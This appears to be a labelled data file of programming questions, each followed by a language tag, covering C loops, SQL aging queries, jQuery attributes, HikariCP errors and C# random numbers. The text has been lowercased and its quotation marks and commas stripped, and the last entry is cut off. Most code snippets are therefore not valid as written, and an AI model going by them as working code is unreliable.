dry run query regarding loops in c language  i am a beginner in c language and while i was studying loops in c language then i encountered few issues in loops  for example in the given below <code>code-1</code> and <code>code-2</code>.     when i am performing dry run then <code>code-1</code> is running the loop for 6 times (starting from i=1 till i=6)  which is understandable by me but i am bit wondering regarding the dry run for code-2 (whether it will run for 5 times or 6 times).    ----sample code---    for example in the 2 given codes:    code-1   <pre><code>#include&lt;stdio.h&gt;  int main() {     int i=1;     while(i&lt;=5)     {         printf( aa_float );         i++;      }      getch(); } </code></pre>   code-2   <pre><code>#include&lt;stdio.h&gt; int main() {    int i=1;    do    {        printf( aa_float );        i++;    }  while(i&lt;=5);    getch(); } </code></pre>,c
about the do-while statment with switch <pre><code>#include &lt;iostream&gt; using namespace std;  int main() {      cout &lt;&lt;  1. facebook  &lt;&lt; endl;     cout &lt;&lt;  2. twitter  &lt;&lt; endl;     cout &lt;&lt;  3. instagram  &lt;&lt; endl;     cout &lt;&lt;  4. snapchat  &lt;&lt; endl;      int input;      do {         cout &lt;&lt;  enter a selection &gt;  ;         cin &gt;&gt; input;         switch(input) {         case 1:             cout &lt;&lt;  facebook is loading...  &lt;&lt; endl;             break;         case 2:             cout &lt;&lt;  twitter is loading...  &lt;&lt; endl;         case 3:             cout &lt;&lt;  instagram is loading...  &lt;&lt; endl;         case 4:             cout &lt;&lt;  snapchat is loading...  &lt;&lt; endl;             break;         default:             cout &lt;&lt;  wrong selection  &lt;&lt; endl;         }     }while(input =! 1 &amp;&amp; input =! 2 &amp;&amp; input != 3 &amp;&amp; input != 4);     return 0; } </code></pre>   i want to retry the progress if i got the wrong selection and i got confused and dunno what to do  so can someone tell me what i should do so i can make it,c++
tester account locations and howto   when testing apps... is there a way to upload them to a location (and where) that can be down-loaded by testers to give me feedback on program flow and execution.    thanks,objective-c
jquery appending attribute content  i am creating a system of displaying link information in an interactive way using html attributes  and jquery to move some of the html around. i am stuck trying to append a title attribute to a div. i ve never done this with an attribute and am hitting some walls.     it s hard to explain  but you will see what i am after when you see the js. <a href= http://jsfiddle.net/kvawa/  rel= nofollow >http://jsfiddle.net/kvawa/</a>    thx for any help in advance    the html   <pre><code>&lt;div id= navtool &gt;     &lt;ul id= menu &gt;         &lt;li id= 1 &gt;             &lt;a href= location1.html  title= this is the decription1 &gt;this is the link1&lt;/a&gt;         &lt;/li&gt;         &lt;li id= 2 &gt;             &lt;a href= location2.html  title= this is the decription2 &gt;this is the link2&lt;/a&gt;         &lt;/li&gt;         &lt;li id= 3 &gt;             &lt;a href= location3.html  title= this is the decription3 &gt;this is the link3&lt;/a&gt;         &lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; &lt;a href= #  class= prev nav &gt;prev&lt;/a&gt; &lt;a href= #  class= next nav &gt;next&lt;/a&gt; &lt;div id= linkdesciption &gt;&lt;/div&gt; &lt;a href= #  id= execute &gt;execute link&lt;/a&gt;​ </code></pre>   the js   <pre><code>// cycles menu    $( #menu &gt; li:first ).addclass( active ); $( .next ).click(function(){     $( .active ).next().addclass( active ).prev().removeclass( active );             $( #menu &gt; li:last ).after($( #menu &gt; li:first )); }); $( .prev ).click(function(){     $( .active ).prev().addclass( active ).next().removeclass( active );     $( #menu &gt; li:first ).before($( #menu &gt; li:last )); });  // collects the link   var executelink = $( #menu &gt; li.active &gt; a ).attr( href ); $( #execute ).attr( href   executelink);  $( #execute ).click(function(){    alert(executelink); });  // collects title and inject into description $( .nav ).click(function(){     var description = $( .active &gt; a ).attr( title );      $(description).appendto( #linkdesciption ); });  </code></pre>,jquery
"child element exceeds the length of parent div  my child div exceeds the length of the length of my parent div and i don t know how to fix it. i need that if the <code>&lt;p&gt;</code> element exceeds the length of the parent div then the exceed length should be hidden or not displayed in the div.    please find the same problem:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#parent {
   border: 3px solid #f0f
 }
 
 #child2 {
   padding: 50px;
   background: cyan;
   height: 30px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= parent &gt;
   &lt;div id= child2 &gt;
     &lt;p&gt;
       hi! 50px of padding  and it s working!
     &lt;/p&gt;
     &lt;p&gt;
       hi! 50px of padding  and it s working!
     &lt;/p&gt;
     &lt;p&gt;
       hi! 50px of padding  and it s working!
     &lt;/p&gt;
     &lt;p&gt;
       hi! 50px of padding  and it s working!
     &lt;/p&gt;
     &lt;p&gt;
       hi! 50px of padding  and it s working!
     &lt;/p&gt;
     &lt;p&gt;
       hi! 50px of padding  and it s working!
     &lt;/p&gt;
     &lt;p&gt;
       hi! 50px of padding  and it s working!
     &lt;/p&gt;
     &lt;p&gt;
       hi! 50px of padding  and it s working!
     &lt;/p&gt;
     &lt;p&gt;
       hi! 50px of padding  and it s working!
     &lt;/p&gt;
     &lt;p&gt;
       hi! 50px of padding  and it s working!
     &lt;/p&gt;
     &lt;p&gt;
       hi! 50px of padding  and it s working!
     &lt;/p&gt;
     &lt;p&gt;
       hi! 50px of padding  and it s working!
     &lt;/p&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",html
c linker not behaving as expected  i have two c files 9.c  10.c.    9.c   <pre><code>#include &lt;stdio.h&gt; int b=6; int main() { fun1(); printf( %d\n  b); } extern int b; </code></pre>   10.c    <pre><code>void fun1() { printf( %d\n  b); b=8; } </code></pre>   i did gcc 9.c 10.c but it gives following error:     10.c:3: error:  b  undeclared (first use in this function)    i was expecting that linker would resolve the definition of b  but why its not resolving.,c
sql  invoice statements  current and past dues  new to sql  understand the basic queries  trying to write something a little more advanced than my knowledge  and need some help if anyone can offer it.  i ve already tried template codes and tailoring to my needs  with no success.      i m working with 1 table  and trying to get the query to display customers current balance for 0-30 days  and any past due dates between 30-60   60-90   90-120  120+ days.   <pre><code>table: c_inv_h columns: comp_code  cust_code  inv_num  inv_date  inv_tp  inv_amt  inv_tax1  inv_tax2 </code></pre>   example data   <pre><code>comp_code  cust_code  inv_num  inv_date  inv_tp  inv_amt  inv_tax1  inv_tax2 m1  100068  1  2016-08-11  rcpt  103.48  4.5  8.98 m1  100068  2  2016-07-11  rcpt  103.48  4.5  8.98 m1  100068  3  2016-06-11  rcpt  103.48  4.5  8.98 m1  200027  4  2016-05-11  rcpt  103.48  4.5  8.98 m1  200027  5  2016-04-11  rcpt  103.48  4.5  8.98 </code></pre>   what i want the query to show:   <pre><code>comp_code  cust_code  currentbalance  30-60  60-90  90-120  120+ m1  100068  116.96  233.92  0  0  0 m1  200027  0  233.92  0  0  0 m1  200027  0  0  0  0  233.92 </code></pre>   what i ve tried so far   <pre><code>select comp_code  cust_code  inv_num  inv_date  sum(inv_amt) + sum(inv_tax1) + sum(inv_tax2) as invoicetotal  datediff(day  inv_date  sysdate as numberofdays   currentbalance  =  case when datediff(day inv_date  sysdate &lt; 30 then invoicetotal end   30_days  = case when datediff(day  inv_date  sysdate between 30 and 60 then invoicetotal when datediff(day  inv_date  sysdate &gt; 90 then invoicetotal end from c_inv_h where comp_code= m1  group by comp_code  cust_code </code></pre>   this is probably way off from what i m trying to achieve but i m trying to work through it.      much thanks in advance!!,sql
what is ib in iphone  any one explain what is interface builder in iphone,iphone
improving coregraphics performance on iphone4  i m compositing two (static) images  several times a second.   this code runs pretty snappily on the 3gs  and really slowly on the iphone4.   timeprofiler reveals that the call to uiimage drawatpoint: ends up calling something very expensive called  argb_sample_rgba21 .   this routine is never called on the 3gs.   is there some byte-order conversion that i could perform on the static images once  thus saving this byte-order conversion    <pre><code>+ (uiimage * ) createinterpolatedimagebetween: (uiimage *) imagea                                      andimage:  (uiimage *) imageb                                      forvalue: (float) fractionalvalue {        uigraphicsbeginimagecontextwithoptions(cgsizemake(imagea.size.width  imagea.size.height)  yes  0.0);         [imagea drawatpoint: cgpointmake(0 0)];        [imageb drawatpoint: cgpointmake(0 0)                  blendmode: kcgblendmodenormal                      alpha: fractionalvalue];         uiimage *answer = uigraphicsgetimagefromcurrentimagecontext();        uigraphicsendimagecontext();       return answer; </code></pre>   },iphone
objective-c slicing an array gives index out of bounds error  trying to do the following:   <pre><code>nsmutablearray *tmparr = [_tweets subarraywithrange:nsmakerange(0  10)]; _tweets = [[nsmutablearray alloc] init]; // added this in trial and error debugging _tweets = tmparr; </code></pre>   <code>_tweets</code> is an <code>nsmutablearray</code> and i m trying to grab the first 10 objects from it.    however  i receive the following error:   <pre><code>*** terminating app due to uncaught exception  nsrangeexception   reason:  *** -[__nsarrayi objectatindex:]: index 157 beyond bounds [0 .. 9]  </code></pre>   any ideas,objective-c
how to run two multiple thread simultaneously in objective c   i need to run two threads simultaneously  but i am not getting how to do so.    i start thread:   <pre><code>[nsthread detachnewthreadselector:@selector(mynewthread:) totarget:[cmyclass class] withobject:nil];      -(void)mynewthread:(id)param{     nsautoreleasepool *pool = [[nsautoreleasepool alloc] init];     nsstring *strswitcher = @ mycommand ;      const char * cstrswitcher = [strswitcher utf8string];     system(cstrswitcher);     [pool release]; } </code></pre>   and some other system command i want to send on other thread. when i send one system command prompt changes.(e.g. mycommand> ).    now when i start another thread then that command only works when previous thread was stopped.    anyone can help me,objective-c
how to enclose csv headers  row in double quotes using php   if let s say i have   <pre><code>$headers = array(  userid    fname    lname ); </code></pre>   i want them to placed as header row (topmost part of the csv) separated by comma and enclosed each with double quotes.    i already tried    <pre><code>$fp = fopen( data.csv    w+ );  fputcsv($fp $headers        ); fclose($fp); </code></pre>   they don t get enclosed with double quotes..how to do it,php
is multiple url fetch using the same url object possible <pre><code>import java.net.*; import java.io.*; import java.sql.*; import java.util.*;   public class urlconnectionreader {       static final string jdbc_driver =  com.mysql.jdbc.driver ;       static final string db_url =  jdbc:mysql://localhost/emp ;      static final string user =  root ;     static final string pass =  password ;        public static void main(string[] args) throws exception{   scanner sc = new scanner(system.in);   url o = new url( http://www.worldportsource.com/countries.php );             urlconnection yc = o.openconnection();         bufferedreader in = new bufferedreader(new inputstreamreader(yc.getinputstream()));       readurl ru = new readurl();      connection conn = null;     statement stmt= null;  string[] va0 = new string[200]; string[] va1 = new string[197];  //readurl[] ru = new readurl[200];           string inputline;     string table= &lt;table ;     string dtable= &lt;/table ;     string dtr= &lt;/tr&gt; ;     string tr= &lt;tr ; string link= http://www.worldportsource.com ; string endcontent= -- end content -- ;  string val0 =null; string val1=null; string vol0=null;  string td= &lt;td&gt; ; string dtd= &lt;/td ;    int x=0 x1=0 z=0 s=0 j=0;  inputline = in.readline(); string inputline2 = null;       try{        class.forname( com.mysql.jdbc.driver );         system.out.println( connecting to database... );       conn = drivermanager.getconnection(db_url user pass);     } catch(sqlexception se){se.printstacktrace();}//handle errors for jdbc catch(exception e){ e.printstacktrace();}//handle errors for class.forname       do { if(inputline.indexof( - end content - )!=-1) z++;    if(z&lt;1){  if(inputline.indexof( - start content - )!=-1) {x++;}  if(x&gt;=3) {  if(inputline.indexof( &lt;tr )!=-1) s++;   if(s&gt;=2){   if(inputline.indexof( php\ &gt; )!=-1){ val0=(inputline.substring(inputline.indexof( php\ &gt; )+5 inputline.indexof( &lt;/a&gt; )));   if(inputline.indexof( a href= )!=-1){ val1=link+(inputline.substring(inputline.indexof( a href=\  )+8 inputline.lastindexof( \ &gt; ))); j++; va0[j]=val0; va1[j]=val1;         }}     } }   }//z if }while((inputline = in.readline())!= null);     ru.sendurl(va1);         try{          if(stmt!=null)             stmt.close();       }catch(sqlexception se2){}       try{          if(conn!=null)             conn.close();       }catch(sqlexception se){          se.printstacktrace();       }       in.close();     } }   class readurl{          scanner scan = new scanner(system.in);         string[] al=null; int p=1; url o1= null; scanner sc2=null;    public void sendurl(string []t) throws exception { al=t; system.out.println(  +al[p]);  for(p=1;p&lt;t.length;p++) geturl(al[p]);  }    public void geturl(string t) throws exception              {    string[] vol = new string[200];   string country=null; string inputline; int x1=0 i=0 b=0 z1=0 table=0;       o1 = new url(t); sc2 = new scanner(o1.openstream());  inputline= sc2.nextline();    while((inputline = sc2.nextline())!=null) {   if(inputline.indexof( &lt;div )!=-1) table++; if(table==12) {  country = (inputline.substring(inputline.lastindexof( php\ &gt; )+5 inputline.lastindexof( &lt;/a ))); table++;  }            if(inputline.indexof( - end content - )!=-1) z1++;    if(z1&lt;1){     if(inputline.indexof( - start content - )!=-1) {x1++;}  if(x1&gt;=3) { if(inputline.indexof( &lt;table )!=-1) b++;  if(b&gt;=1){  if(inputline.indexof( php\ &gt; )!=-1){    vol[i]=(inputline.substring(inputline.indexof( php\ &gt; )+5 inputline.indexof( &lt;/a ))); system.out.println(  +country+ \t +vol[i]); i++; }//( php\  ) }//(x1&gt;=2) }//ifb&gt;1 }//endcontent }//while  }//method close  }//clas  </code></pre>   a string array is passed to the sendurl() the string has 196 links geturl is suppose to take each link and parse it and return the port names of each link. but it does it only for the 1st link which is passed. i.e i get portname only for 1 country link.. i want portnames from all the links displayed,java
view is not updating after scope update  here is a very simple example of what i am trying to do   <pre><code>athlete.save(athlete function(result) {        $scope.athlete = result.athlete; }); </code></pre>   the issue is that the $scope.athlete variable does not update in my view. in order to get it to update i have to do this   <pre><code>athlete.save(athlete function(result) {        $scope.athlete.fname = result.athlete.fname;        $scope.athlete.lname= result.athlete.lname;        $scope.athlete.gender= result.athlete.gender;        .... }); </code></pre>   this gets annoying very quickly. with the first block of code it s as if angular does not know that my $scope.athlete variable has been updated. this function is triggered from an ng-click  not some jquery call  i am doing it the angular way as far as i know.    here is a simpler case i made: <a href= http://plnkr.co/edit/lmcpbzqdooa5k4gxghcp  rel= nofollow >http://plnkr.co/edit/lmcpbzqdooa5k4gxghcp</a>,angularjs
how to elegant the first time show popup with rails  i have to show user a popup for the first time they come to my site.    i did it that way     when the user comes in the first time  the cookies has nothing     so i will show popup  and save a flag to cookie.    the next time user comes  the popup won t show.    however  i think my implementation smells bad  seems not in a rails way.    how can i improve it     <h1>view</h1>  <pre><code>- unless @has_shown_price_hint   :javascript     $( #hint_for_price ).fadetoggle(2000);     document.cookie= has_shown_hint_for_price=true ; </code></pre>  <h1>controller</h1>  <pre><code>  def index     @has_shown_price_hint = (cookies[ has_shown_hint_for_price ].nil )  false : true   end     </code></pre>,ruby-on-rails
database query failed: column  id  in field list is ambiguous <pre><code>       select  realestate.id node.id node.name                 from realestate                  (select                     group_concat(parent.name_en order by parent.lft desc) as name id                   from                     address as node join address as parent                     on node.lft between parent.lft and parent.rgt                     where node.lft &gt;={$lft} and node.rgt &lt;={$rgt}                   group by node.name) as node         inner join users on id_user = users.id         left join pic on id_realestate = realestate.id         where node.id = realestate.address_id </code></pre>   i tried to modify it several times and this error message would not disappear  database query failed: column  id  in field list is ambiguous . is there any idea on how to solve this,mysql
insert url in one view and then display it in uiwebview in new view  hay all     i want to enter url in one view and then want to switch and display it in another view in uiwebview i am trying like this but its not working.   <pre><code>nsstring *urladdress = @ http://www.google.com ; </code></pre>   //create a url object.   <pre><code> nsurl *url = [nsurl urlwithstring:urladdress]; </code></pre>   //url requst object   <pre><code>nsurlrequest *requestobj = [nsurlrequest requestwithurl:url]; </code></pre>   //load the request in the uiwebview.   <pre><code>[webviewcontroller.page loadhtmlstring:urladdress baseurl:url];     webviewcontroller *sec=[[webviewcontroller alloc] initwithnibname:@ webview  bundle:nil]; </code></pre>   [self presentmodalviewcontroller:sec animated:yes];     can anybody help me  i am new to iphone world,iphone
what purpose does this code change serve   i am trying to understand the <strong>implications</strong> / <strong>side effects</strong> / <strong>advantages</strong> of a recent code change someone made. the change is as follows:    <strong>original</strong>   <pre><code>static list&lt;type1&gt; data; </code></pre>   <strong>modified</strong>   <pre><code>static list&lt;type1&gt; &amp; getdata (void) {     static list&lt;type1&gt; * ilist = new list&lt;type1&gt;;     return * ilist; } #define data getdata() </code></pre>   what purpose could the change serve,c++
include a class in inline code block in asp.net  i m playing around with inline code blocks in asp.net.  can somebody tell me why the following code doesn t work    <pre><code>&lt;%@ language= c#  %&gt; &lt;%     response.write(testclass.showmessage());      public class testclass     {         public static string showmessage()         {             return  this worked!! ;         }     } %&gt; </code></pre>   i get the following error message: cs1513: } expected,asp.net
floating point exception even after checking if divided by zero  i started learning c++ recently and i am attempting to write a program where i take a given integer of any size as input  and then find the digits in this number that exactly divide the integer. the count of such digits is displayed as result.    <pre><code>#include &lt;cmath&gt; #include &lt;cstdio&gt; #include &lt;vector&gt; #include &lt;iostream&gt; #include &lt;algorithm&gt; using namespace std;   int main() { int n;   //number of integers to take as input cin&gt;&gt;n; vector&lt;int&gt; a; for(int i=0;i&lt;n;i++){     long long val;     cin&gt;&gt;val;     a.push_back(val); } for(int i=0;i&lt;n;i++){     int k=1 count=0 r q;     r=a[i];     q=a[i];     while(k==1){         q/=10;         r=q%10;                   if(a[i]%r==0 &amp;&amp; r&gt;=1)             count++;         if(q&lt;10 &amp;&amp; q&gt;=1){             if(a[i]%q==0)                 count++;             k=0;           }         if(q==0)             k=0;     }     cout&lt;&lt;count&lt;&lt; \n ; }  return 0; } </code></pre>   the above code <strong>works for integers without the digit  0 </strong> but when i use any integer which has 0 as a digit  this is displayed:    error      floating point exception (core dumped)    i ve tried modifying the code by trying to skip the digit whenever  r  or  q  equates to  0  but nothing seems to be working. any help/advice would be appreciated!,c++
why does my system think a rails server is running   recently i feel like some kind of rails process is hanging and i m not certain what to be thinking about to debug this.  if i type  ps  and nothing is running  why is rails coughing up this error message about another instance blocking the port      <pre><code>/users/jd/.rvm/gems/ruby-2.1.0/gems/eventmachine-1.0.3/lib/eventmachine.rb:526:in `start_tcp_server : no acceptor (port is in use or requires root privileges) (runtimeerror)     from /users/jd/.rvm/gems/ruby-2.1.0/gems/eventmachine-1.0.3/lib/eventmachine.rb:526:in `start_server      from /users/jd/.rvm/gems/ruby-2.1.0/gems/thin-1.6.1/lib/thin/backends/tcp_server.rb:16:in `connect      from /users/jd/.rvm/gems/ruby-2.1.0/gems/thin-1.6.1/lib/thin/backends/base.rb:63:in `block in start      from /users/jd/.rvm/gems/ruby-2.1.0/gems/eventmachine-1.0.3/lib/eventmachine.rb:187:in `call      from /users/jd/.rvm/gems/ruby-2.1.0/gems/eventmachine-1.0.3/lib/eventmachine.rb:187:in `run_machine      from /users/jd/.rvm/gems/ruby-2.1.0/gems/eventmachine-1.0.3/lib/eventmachine.rb:187:in `run      from /users/jd/.rvm/gems/ruby-2.1.0/gems/thin-1.6.1/lib/thin/backends/base.rb:73:in `start      from /users/jd/.rvm/gems/ruby-2.1.0/gems/thin-1.6.1/lib/thin/server.rb:162:in `start      from /users/jd/.rvm/gems/ruby-2.1.0/gems/rack-1.5.2/lib/rack/handler/thin.rb:16:in `run      from /users/jd/.rvm/gems/ruby-2.1.0/gems/rack-1.5.2/lib/rack/server.rb:264:in `start      from /users/jd/.rvm/gems/ruby-2.1.0/gems/railties-4.0.2/lib/rails/commands/server.rb:84:in `start      from /users/jd/.rvm/gems/ruby-2.1.0/gems/railties-4.0.2/lib/rails/commands.rb:76:in `block in &lt;top (required)&gt;      from /users/jd/.rvm/gems/ruby-2.1.0/gems/railties-4.0.2/lib/rails/commands.rb:71:in `tap      from /users/jd/.rvm/gems/ruby-2.1.0/gems/railties-4.0.2/lib/rails/commands.rb:71:in `&lt;top (required)&gt;      from bin/rails:4:in `require      from bin/rails:4:in `&lt;main&gt;  [jd@mbp restaurantly (user-auth *)]$ ps   pid tty           time cmd 26212 ttys000    0:00.24 -/bin/bash [jd@mbp restaurantly (user-auth *)]$ </code></pre>   providing more detail  for some reason  i wasn t being allowed to kill processes   what am i not understanding about processes       <img src= https://i.stack.imgur.com/ljp26.png  alt= enter image description here >,ruby-on-rails
detecting when asynchronous ping is done  i use my iis7 webserver running php in combination with ping.exe to ping internet addresses of our customers. to make the pinging run simultaniously  i did the following:   <ul> <li>put all the ip adresses to be monitored in a database table</li> <li>made a php file called batch.php that generates a batch file pinglist.bat which contains a line like  start php -q c:\inetpub\monitor\autotask\pingip.php ipaddress  for every ip and then executes the batch file. by using  start  the batch file does not wait for the previous command to finish.</li> <li>scheduled this batch.php file in task scheduler to run every minute.</li> <li>pingip.php pings the ip address given in the parameter and then inserts the ping result into a mysql database.</li> </ul>   however  i want the script to do some more processing steps (like generate averages for that batch) when all ip s are pinged for that batch of that minute.    the problem is that i don t know when all the simultanious pings are finished since the response time and amount of adresses vary.    what would be the best way  to let batch.php start pinglist.php  then use a while loop to query the database if all results for that batch are there every x milliseconds     please advise. thanks.,php
how can i make an arrow triangle using css without any cut in the side i.e. smooth sides   i want to ask how can i create a css arrow triangle with smooth sides i.e. no cut in the side of arrow without using any image  i have already tried the tutorial -    <a href= http://css-tricks.com/snippets/css/css-triangle/  rel= nofollow noreferrer >http://css-tricks.com/snippets/css/css-triangle/</a>    i have the following css -   <pre><code>.arrow_up {     width: 0;      height: 0;      border-left: 10px solid transparent;     border-right: 10px solid transparent;     border-bottom: 10px solid black;     position:absolute;     top:75px;     left:250px; } </code></pre>   and html -   <pre><code>&lt;div class= arrow_up &gt;&lt;/div&gt; </code></pre>   output -    <img src= https://i.stack.imgur.com/04vuq.png  alt= enter image description here >    you can see that the right hand side border of this arrow is not smooth - there is a little cut. how can i resolve it,css
how to fetch mysql data in php table   i want to fetch some records from mysql view table in my web page by php. i am using this following code:   <pre><code> $result= select method test_name test_code from vtest_ord order by  test_ord_id desc ;   echo &lt;table border= 1 &gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;method&lt;/th&gt;&lt;th&gt;test name&lt;/th&gt;&lt;th&gt;test  code&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt; ;   while ($row=$mysql_fetch_assoc($result)) {     echo  &lt;tr&gt;&lt;td&gt; ;      echo  &lt;td&gt;  . $row[ method ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  . $row[ test_name ] .  &lt;/td&gt; ;     echo  &lt;td&gt;  .  $row[ test_code ] .  &lt;/td&gt; ;     echo  &lt;/tr&gt;&lt;/td&gt; ; }  echo  &lt;/table&gt; ; </code></pre>   but i am getting this error:   <blockquote>    fatal error: function name must be a string in<br>   c:\xampp\htdocs\test2\ord_view.php on line 211 method test name   test<br>   code (table header shows)  </blockquote>,php
.net  do you get a transaction object   working with sql / ado  got me thinking about something that i think should logically be included with the .net framework  and i was wondering if such a thing exists  let me explain.     is there an object that is essentially a transaction manager  that you pass commands (work items) to and at the same i would imagine it would be necessary also pass the rollback actions for each work item in the transaction.    for example    lets say i wanted to perform the following actions:   <ol> <li>create a folder</li> <li>create a file in this folder</li> <li>perform some other misc tasks like editing reg keys  or really action you can think of that can be rolled back. </li> </ol>   now currently if something fails  i need to manually implement a roll back strategy  so perhaps a way exists to manage these work items as a transaction using oob .net functionality     my considerations are that it would be asking a lot to have items rollback automatically  but having the ability to manually control what happens during a rollback per work item  seems practical.     another thing is what microsoft have done with linq is really great  effectively having sql like queries for all kinds of stuff  not only for sql tables. so perhaps there is some transaction model with linq     thanks  if you know of anything like this,.net
5/9 is not taking by the c compiler to calculate fc  i m stuck in a code where i have to convert a temperature given by the user (in fahrenheit) to degree celsius. but unfortunately it s formula is not working with c compiler.   <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; void c_f(); //void f_c(); float c f fc fc1;  int main() {     c_f();     //  f_c();  return 0; getch(); } void c_f() {     printf( \n enter the temperature (in *f) to covert it into celsius:  );     scanf( %d  &amp;f);      fc=((5/9)*(f-32));     printf( \n %f*c  fc);  } </code></pre>,c
java.sql.sqltransientconnectionexception: hikaripool-1- connection is not available  i am a newbie assigned to build a hostel management application using hikaripool connection. now  i sometimes get this error <code>java.sql.sqltransientconnectionexception: hikaripool-1- connection is not available</code> and once it happens  it messes up my application data. for  instance  in my code below  i call the function  <code>paymentrecord()</code> in my <code>assignroom()</code> to execute after a room is assigned.     i open and close connections in each functions(assignroom() and paymentrecord()) but sometimes  one of the functions fail to execute. it is either assignroom() executes correctly and paymentrecord() fails to execute or vice versa.      my code may be very bad but i am newbie trying to learn.    <strong>ps:</strong> now i never had this issue when i was testing the application with good internet connection   but my client did report this and he mostly has internet connectivity problem.     i sometimes think the internet connection might be a factor to my problem  if so why do i deal with this please     <strong>assigning room</strong>   <pre><code> public void assignroom(){         try         {           java.sql.date sqldate = new java.sql.date(date.getdate().gettime());              conn = dbconnection.getconn();             string query =  insert into assignroom(floor roomnumber student dateassigned) values (       ) ;              preparedstatement pst = conn.preparestatement(query);             pst.setstring(1  floor.getselecteditem().tostring());             pst.setstring(2  findroom.getselecteditem().tostring());             pst.setstring(3  findstd.getselecteditem().tostring());             pst.setdate(4  sqldate);              pst.execute();             if(seats.gettext().equals( 0 )){                      joptionpane.showmessagedialog(null   room is fully occupied );                 }             else              {                     joptionpane.showmessagedialog(null   room successfully assigned );                      updateavailablebeds();                    paymentrecord();                        conn.close();                      joptionpane.showmessagedialog(null   please wait...processing payment );                     navtopayment();               }           }         catch(exception ex)         {             joptionpane.showmessagedialog(null  ex);         }     } </code></pre>   <strong>payment record</strong>   <pre><code>public void paymentrecord()     {          try         {             java.sql.date sqldate = new java.sql.date(date.getdate().gettime());             system.out.println( cheking  +sqldate);             system.out.println( cheking  +findroom.getselecteditem().tostring());             system.out.println( cheking  +findstd.getselecteditem().tostring());                  conn = dbconnection.getconn();              string query =  insert into paymentrecords(student_name room_number dateassigned total_amount paid balance) values(           ) ;              string sql =  select price from rooms where roomnumber =  +findroom.getselecteditem()+   and floor =  +floor.getselecteditem().tostring()+   ;              preparedstatement pst = conn.preparestatement(query);             preparedstatement pst1 = conn.preparestatement(sql);            // resultset rs = pst.executeupdate(query);             resultset rs1 = pst1.executequery(sql);             while(rs1.next())             {              fullamount = rs1.getstring( price );                price = float.parsefloat(fullamount);               rem = float.parsefloat(amtpaid.gettext());               balance = price - rem;                system.out.println( cheking  +fullamount);              }             pst.setstring(1  findstd.getselecteditem().tostring());             pst.setstring(2  findroom.getselecteditem().tostring());             pst.setdate(3  sqldate);             pst.setstring(4  fullamount);             pst.setstring(5  amtpaid.gettext());             pst.setfloat(6  balance);                 pst.execute();             pst1.execute();            conn.close();          }         catch(exception ex)         {             joptionpane.showmessagedialog(null  ex);         }     }    </code></pre>,java
the .net providerbase pattern  .net s <a href= http://msdn.microsoft.com/en-us/library/system.configuration.provider.providerbase.aspx  rel= nofollow noreferrer ><code>providerbase</code></a> was established in the 2.0 release of the .net framework. have there been any new features since then that supercede or improve on this pattern that should be used as an alternative,.net
execution order of $(document).ready();  if i use $(document).ready() multiple times then what will be the execution order. which code is executed first.,jquery
angular delete service   i have a service  myservice  that contains the following:   <pre><code>this.myobj = { dog :  bark    cat :  meow } </code></pre>   i inject this service into a directive. within the directive link function i have a $scope.$destroy that does the following:   <pre><code>console.log(myservice.myobj); delete myservice.myobj.dog; console.log(myservice.myobj); </code></pre>   the console.log output looks like after the delete still shows up as:    <pre><code>{ dog :  bark    cat :  meow } </code></pre>   even though i called the delete on the  dog  key. what is going on  is there a more proper way to delete the key,angularjs
mysql sorting using lpad + floating point string  i have some strings that have a version number at the end of the string. i need to sort them.   <h2>i.e.</h2>  <pre><code>1 5 6 l1 l2 l123 l300 l500 l123.5 l300.5 </code></pre>   if i exclude the .x rows i can get these to sort using lpad but the version number is stumping me. looking to get the data to be interpreted as follows so i can sort correctly but i am failing miserably.   <pre><code>0001.00 0005.00 0006.00 00l1.00 00l2.00 l123.00 l300.00 l500.00 l123.50 l300.50 </code></pre>,mysql
remove u202a from python string  i m trying to open a file in python  but i got an error  and in the beginning of the string i got a <code>/u202a</code> character... does anyone know how to remove it    <pre><code>def carregar_uml(arquivo  variaveis):     cadastro_uml = {}     id_uml = 0      for i in open(arquivo):         linha = i.split(   )   carregar_uml( ‪h:\\7 - script\\teste.csv   variaveis) </code></pre>   <code>oserror: [errno 22] invalid argument:  \u202ah:\7 - script\teste.csv </code>,python
find text in string and replace with another in javascript  my html:   <pre><code>&lt;span data-sample= http://mysite.com &gt;&lt;/span&gt; </code></pre>   my js:   <pre><code> var objlink = $(this).attr( data-sample ); </code></pre>   hence my <code>objlink ==  http://mysite.com </code>    how can i add  www  and make the <code>objlink ==  http://www.mysite.com </code>,jquery
{ could not find installable isam. }  as i m new to .net programming i have doubt and please clarify me.    i want create&amp;connect database by using ms access2007.    i wrote code as:   <pre><code>oledbconnection con; protected void page_load(object sender  eventargs e) {    con = new oledbconnection( provider=microsoft.ace.oledb.12.0;datasource=d:/customerdetails.accdb );    con.open(); </code></pre>   1.how to rectify this error { could not find installable isam. } 2.how to know ms access driver name in my pc,.net
directory listing + multi pattern + acces denied  i have tried many samples on the net to list all files in system directory via (.net 2 window form).    does anyone knows a function which can directory listing + multi pattern  + hidden system files    i have found the solution at <a href= http://www.codeproject.com/kb/files/xdirectorycopy.aspx  rel= nofollow >http://www.codeproject.com/kb/files/xdirectorycopy.aspx</a>,.net
c# cannot convert from  long  to  int  (random number generator)  i m fairly new to programming (started a few days ago)  and i decided to make a random number generator. the problem i have  is that i can t generate an extremely large number. i searched around  and read that i could change  int  to  long   but i am having troubles when it comes to the random number generator.    here s part of my code:   <pre><code>long min; long max; console.foregroundcolor = consolecolor.gray; console.write( minimum number:  ); min = convert.toint64(console.readline());  console.write( maxinum number:  ); max = convert.toint64(console.readline()); if (max &lt; min) {     console.foregroundcolor = consolecolor.white;     console.writeline( you must choose a larger number! press any key to restart...\n );     console.readkey(true);     generator(); }   random randomnumber = new random(); while (true) {     long randomnumout = randomnumber.next(min  max + 1);      console.foregroundcolor = consolecolor.white;     int randomsleep = randomnumber.next(250  750);     console.writeline( \ngenerating... );     thread.sleep(randomsleep); } </code></pre>   in visual studio    <pre><code>randomnumber.next(min  max + 1) </code></pre>   is underlined    the errors:   <pre><code>error   2   argument 1: cannot convert from  long  to  int  error   3   argument 